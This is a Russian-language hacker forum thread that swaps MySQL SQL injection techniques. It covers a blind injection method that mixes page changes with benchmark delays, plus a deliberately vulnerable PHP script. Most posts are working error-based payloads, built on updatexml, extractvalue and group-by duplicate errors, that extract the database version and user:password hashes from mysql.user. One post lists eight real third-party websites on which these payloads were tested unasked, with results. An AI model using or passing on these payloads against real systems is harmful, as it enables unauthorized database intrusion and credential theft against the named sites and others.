Старый 09.07.2010, 16:16   #11
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Blind SQL + Benchmark (2 запроса на символ)

Допустим у нас есть слепая скуля (но такая, что хоть какой-то вывод возможен), на что можем влиять:

страничка:
1) страница приходит в обычном состоянии (false)
2) страница приходит изменённой (true)
ответ от сервера:
1) пришёл сразу (false)
2) пришёл с задержкой (true)

Таким образом, влияя на эти 2 параметра, можно задать 4 состояния

Делаем вот что:
1) Берём алфавит (допустим 0123456789abcdef), и делим его на 4 группы (0123),(4567),(89ab),(cdef).
2) Составляем табличку истинности:

№|A|B
_|_|_
1|0|0
2|0|1
3|1|0
4|1|1

где:
№ - номер группы к которой принадлежит данный символ,
A - изменить ответ или нет
B - включать бенчмарк или нет

3) Вычисляем при помощи find_in_set номер группы к которой принадлежит данный символ, кодируем его согласно таблице выше
4) на клиенте получаем группу символов, в качестве алфавита уже берём только её и идём на шаг 1.

Т.е. для хеша md5 на каждый символ потребуется 2 запроса. (По теории вероятности бенчмарк сработает лишь на половине из них, т.е. в принципе работать должно быстро)

Теперь практика.

Запрос, к БД реализующий логику:

Код:
select id, title, date from news where id=-1 union select 1,2,concat(
 @ch:=substring((select value from test1 where id=1),1,1),
 @a:=find_in_set(@ch,'a,b,c,d'),
 @b:=find_in_set(@ch,'e,f,1,2'),
 @c:=find_in_set(@ch,'3,4,5,6'),
 @d:=find_in_set(@ch,'7,8,9,0'), 
 if(@a>0,1,
  if(@b>0,(select 1 union select 2),
   if(@c>0,benchmark(1500000,md5(1)),
    if(@d>0,if(benchmark(1500000,md5(1)), 100, (select 3 union select 4)),-1)
   )
  )
 ))
from test1 -- 1
Думаю всё тут ясно, единственное я использовал concat чтобы весь мусор сложить в одну ячейку и SQL не жаловался на неправильное количество столбцов + в 4м случае засунул benchmark в if, чтобы ошибка появилась только после его выполнения. (Это первое что пришло в голову, может есть методы лучше)

Скрипт дёргающий хеш по этому алгоритму добавлен ниже.

З.Ы.
Для примера уязвимого скрипта был использован модифицированный скрипт 5 задачки из РОА:

Цитата:
<?php
mysql_connect("localhost", "root", "");
mysql_select_db("roa");

$query = mysql_query('select id, title, date from news where id= '.$id.';');
if(mysql_error())
echo mysql_error();
else
$result = mysql_fetch_row($query); echo($result[0].'<br><hr><br>'.$result[1]);

?>
в БД (ROA) лежат таблицы:
news(id, title, date) и test1(id,value)
в test1.value лежит md5 хеш

Я пробовал на примере (1bc29b36f623ba82aaf6724fd3b16718), всё прошло гладко.

Единственно - в примере ниже алфавит задан статически, дёргается только 16 символов, а не 32, также очень высокое значение бенчмарка (для точности тестов, хотя уменьшив значения в 2 раза, вывод остался корректным) и неэлегантно написаный код. Ясно что его нужно модифицировать.

По хорошему, если считаете, что метод имеет право на жизнь, его нужно переделать так, чтобы алфавит задавался и распихивался по состояниям динамически, примерно как тут: https://forum.antichat.ru/showpost.p...64&postcount=3

З.Ы.
А ну да, уязвимый файлик должен зваться sql.php, а урл задаваться вот так: php.exe poc.php http://test1.ru:80/

Ну и уязвимый параметр: id
Вложения
Тип файла: txt find_bench.txt (4.0 Кб, 1122 просмотров)
Qwazar вне форума   Ответить с цитированием
Старый 18.12.2010, 23:27   #12
s4avrd0w
 
Регистрация: 21.07.2010
Сообщений: 54
Репутация: 28
По умолчанию

подбор с использованием метода задержек по времени и фонетики английского языка (в публикации содержится poc): http://www.exploit-db.com/papers/13696/
s4avrd0w вне форума   Ответить с цитированием
Старый 20.12.2010, 15:23   #13
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

http://www.xakep.ru/magazine/xa/132/062/1.asp
тоже самое что в exploit-db только на русском.
MD5 не подвержен ес-но, но вот логины... Мне очень помогает, экономия до 50% запросов (гы, прямо как в рекламе Тайда )
d0znpp вне форума   Ответить с цитированием
Старый 20.12.2010, 15:25   #14
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

А так, если пользовать конструкциями "if(@c>0,benchmark(1500000,md5(1)),", то можно делить по интервалам эти задержки и получать больше состояний.
От 5 до 10 сек, от 10 до 15, от 15 до 20, от 20 до 25, от 25 до 30, а дальше дефолтовый max_execution_time 30 стоит
Интервалы менее 5 секунд не рулят - погрешность на канал дает фолсы.
d0znpp вне форума   Ответить с цитированием
Старый 22.03.2011, 23:26   #15
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Ничего кардинально нового, так, для коллекции, через разные ошибки и разные функции

Код:
select min(0) from (select 1 a union select 2)b,(select 1 union select 2)c group by concat(version(),insert(0x0,a,a,now()));
Duplicate entry '5.1.40-community2011-03-13 22:30:090' for key 'group_key'

Код:
select updatexml(0x0,concat('<',version()),0x0);
ERROR 1105 (HY000): XPATH syntax error: '<5.1.40-community'

Код:
select extractvalue(0x0,concat('$_',version()));
ERROR 1105 (HY000): Unknown XPATH variable at: '$_5.1.40-community'
Код:
select updatexml(0x0,concat('$_',version()),0x0);
ERROR 1105 (HY000): Unknown XPATH variable at: '$_5.1.40-community'

Код:
select ExtractValue(0x0,concat('a=a',version()));
ERROR 1105 (HY000): XPATH error: comparison of two nodesets is not supported: '=a5.1.40-community'
Код:
select updatexml(0x0,concat('a=a',version()),0x0);
ERROR 1105 (HY000): XPATH error: comparison of two nodesets is not supported: '=a5.1.40-community'
BlackFan вне форума   Ответить с цитированием
Старый 25.03.2011, 18:43   #16
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

А теперь cделаем свой rand c блэкджеком и шлюхами:
Код:
select @a:=1 union select min(0) from information_schema.tables 
                     group by concat(version(),@a:=(@a+1)%2);

ERROR 1062 (23000): Duplicate entry '5.1.40-community1' for key 'group_key'
Первый select нужен, чтобы @a проинициализировалось и ошибка выдалась за 1 запрос.

Навеяло лабораторной по криптографии.. Хотел уже LFSR сделать, но тут оказалось даже такого достаточно)

Последний раз редактировалось BlackFan; 25.03.2011 в 18:46..
BlackFan вне форума   Ответить с цитированием
Старый 26.03.2011, 13:52   #17
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от BlackFan Посмотреть сообщение
А теперь cделаем свой rand
Более короткую запись для version() придумать, наверное, уже не получится, красиво смотрится.
Для показа информации из таблиц, запрос несколько расплывается, но остается читабельным.
Код:
select @a:=1 union select max(@a:=(@a+1)%2) from information_schema.tables 
 group by (select concat(user,0x3a,password,0x0,@a+1) from mysql.user limit 0,1);
или, если в таблице user больше одной записи
Код:
select @a:=1 union select sum(0) from mysql.user 
 group by (select concat(user,0x3a,password,0x0,@a:=(@a+1)%2) from user);
=============
UPD, можно чуть короче
Код:
select min(@a:=1)from information_schema.tables 
 group by concat(version(),@a:=(@a+1)%2);
Много в ошибке не выведешь, но иногда можно сгруппировать
Код:
select min(@a:=1) from information_schema.schemata 
 group by (select concat(group_concat(SCHEMA_NAME),@a:=(@a+1)%2) from schemata);
Экстремальный случай, схема не доступна, сбрутили таблицу и поля, но в таблице одна запись:
Код:
select min(@a:=1)from (select 1 union select 2)k
 group by (select concat(user,password,0x0,@a:=(@a+1)%2) from user);

Последний раз редактировалось nikp; 26.03.2011 в 17:29..
nikp вне форума   Ответить с цитированием
Старый 27.03.2011, 16:47   #18
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Самый извращенский и универсальный запрос, который у меня получился
Подходит для всех версий MySQL.

Код:
(@:=1)||@+group+by+concat(@@version,!@)having@||min(@:=0)--+
Пример:
Код:
select column from table where a=(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0);
ERROR 1062 (23000): Duplicate entry '5.1.40-community1' for key 'group_key'


Если рассмотреть подробнее
Код:
(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Инициализация переменной без названия

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Условие "or 1", чтобы запрос вернул больше 1 записи

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Строка, которую мы хотим протащить через ошибку

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
выражение "not @", которое необходимо для того, чтобы group by при каждом обращении отдавал разный результат

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Использование having для возможности поставить агрегатную функцию без использования подзапросов

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Условие "or 1" в having (особенность вызова ошибки на MySQL 3 версии)

(@:=1)||@ group by concat(@@version,!@)having@||min(@:=0)
Переопределение переменной без названия
Единственная проблема - не работает, если в таблице, из которой делается выборка в главном запросе, всего 1 запись.
Обойти это можно, но запрос получается некрасивый, нужно подумать на эту тему еще.


PS: более универсальная версия запроса на следущей странице темы
https://rdot.org/forum/showthread.php?t=245&page=3

Последний раз редактировалось BlackFan; 09.04.2011 в 18:24..
BlackFan вне форума   Ответить с цитированием
Старый 29.03.2011, 10:28   #19
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Универсальный запрос, это интересно, надо потестить.
Взял скули из паблика (несколько последних страниц) и проверил четыре запроса

Код:
=(1)=
1+and+row(1,1)>(select+count(*),concat(version(),0x3a,floor(rand(0)*2))+x+from+(select+1+union+select+2+union+select+3)a+group+by+x+limit+1)+--+

=(2)=
1+in+(select+min(@:=1)from+(select+1+union+select+2)k+group+by+concat(version(),@:=@-1))--+-

=(3)=
(@:=1)||@+group+by+concat(@@version,!@)having@||min(@:=0)--+

=(4)=
1+in+(select(@:=1)||@+from+(select+1+union+select+2+union+select+3)k+group+by+concat(@@version,!@)having@||min(@:=0))--+-
Отсеял результаты, когда сработали все запросы или не сработал ни один,
результаты в табличке
Код:
--------------------------------------------------------------------------
URL                                               |=(1)=|=(2)=|=(3)=|=(4)=|
--------------------------------------------------|-----|-----|-----|-----|
http://www.ecss.bb/viewproduct.php?pid=           |  -  |  -  |  +  |  -  |
http://www.merseytrusts.org.uk/list_trust.php?id= |  -  |  -  |  +  |  -  |
http://www.mgce.uz.ua/post.php?id=                |  -  |  +  |  +  |  +  |
http://www.isrm.co.uk/jobs/job_details.php?job_id=|  +  |  +  |  -  |  -  |
http://www.magadangorod.ru/index.php?do=form&id=  |  -  |  +  |  -  |  +  |
http://www.globalalliancepr.org/event.php?id=     |  -  |  +  |  -  |  -  |
http://rakurs.rovno.ua/info.php?id=               |  +  |  +  |  -  |  +  |
http://www.wollemipine.sk/page.php?id=            |  +  |  +  |  -  |  -  |
--------------------------------------------------------------------------
Примечание, на www.magadangorod.ru скрипт опознал запрос =(1)=, сигналом [Hacking attempt!]

Итого: универсального запроса пока не видно.
nikp вне форума   Ответить с цитированием
Старый 29.03.2011, 12:08   #20
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Хм, похоже какие-то особенности, ну тогда вот такой запрос
Код:
(@:=1)||@ group by concat(@@version,@:=@-1)having @||min(@:=0)--

upd: чуть короче

(@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)--


upd: еще короче :) (но выводит только 9 символов, для универсального определения версии - самое оно)

(@:=9)or@ group by left(@@version,@:=~@)having@||min(0)--
Отработал на всех, кроме magadangorod.ru, потому что там всего 1 запись в таблице. А если это обходить, то потеряем универсальность для 3 версии mysql (для обхода как раз второй запрос пойдет, но в нем сразу отпадает и 3, и 4.0, как видно из таблицы)

Последний раз редактировалось BlackFan; 24.07.2011 в 21:22..
BlackFan вне форума   Ответить с цитированием
Ответ

Метки
blind sql injection, injection, mysql

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot